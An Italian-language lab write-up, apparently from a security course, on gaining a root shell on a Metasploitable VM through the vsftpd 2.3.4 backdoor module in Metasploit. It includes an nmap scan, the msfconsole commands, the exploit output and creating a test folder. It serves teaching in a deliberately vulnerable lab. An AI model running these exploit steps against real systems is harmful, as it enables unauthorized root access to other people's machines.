

HACKING CON METASPLOIT

Il lavoro da svolgere prevede di hackerare la macchina Metasploitable grazie a Metasploit, un tool di Kali Linux.

Verranno seguiti i diversi passaggi secondo la traccia:

Traccia:

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.

Per riuscire ad effettuare la sessione senza problemi Metasploitable e Kali Linux sono stati inseriti nella stessa rete, in modo da comunicare tra loro.

Grazie alla scansione delle porte attive su Metasploitable siamo riusciti ad individuare la porta a noi interessata, vsftpd (21).

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 09:04 EST
Nmap scan report for 192.168.1.149
Host is up (0.00084s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Una volta individuata la porta, entriamo su Metasploit dal prompt di Kali con il comando “msfconsole” e cerchiamo la porta con “search”.
La porta interessata è la vsftpd backdoor.

```
msf6 > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Adesso inseriamo il comando “use seguito dal path dell’exploit per utilizzarlo”.
Una volta inserito andiamo a modificare il parametro di RHOSTS scrivendo “set RHOSTS 192.168.1.149” (IP di Metasploitable).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
-      -
CHOST      The local client address
CPORT      The local client port
Proxies     A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
=====
Name      Current Setting  Required  Description
-      -
RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)

Exploit target:
=====
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
```

Vediamo quali payload sono disponibili per l’exploit che abbiamo scelto. Possiamo controllarlo utilizzando il comando «show payloads». Nel nostro caso non è necessario.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/interact                normal        No      Unix Command, Interact with Established Connection
```

Lanciamo l'attacco con il comando "exploit".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:37799 → 192.168.1.149:6200) at 2024-03-04 09:19:58 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:b6:3c:f8
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb6:3cf8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1486 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1502 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:119455 (116.6 KB)  TX bytes:122641 (119.7 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:289 errors:0 dropped:0 overruns:0 frame:0
          TX packets:289 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:99781 (97.4 KB)  TX bytes:99781 (97.4 KB)
```

Una volta ottenuta la sessione su Metasploitable creiamo la cartella test_metasploit con mkdir.

```
ls
bin
boot
cdrom:force.py
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root

mkdir test_metasploit
```

Entriamo su Metasploitable e vediamo che siamo riusciti a creare la cartella dentro root.

```
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  nohup.out  root  sys  var
boot     etc      initrd.img  media      opt        sbin  tmp  vmlinuz
cdrom    home     lib       mnt        proc       srv   usr
msfadmin@metasploitable:/$ cd root
msfadmin@metasploitable:/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:/root$
```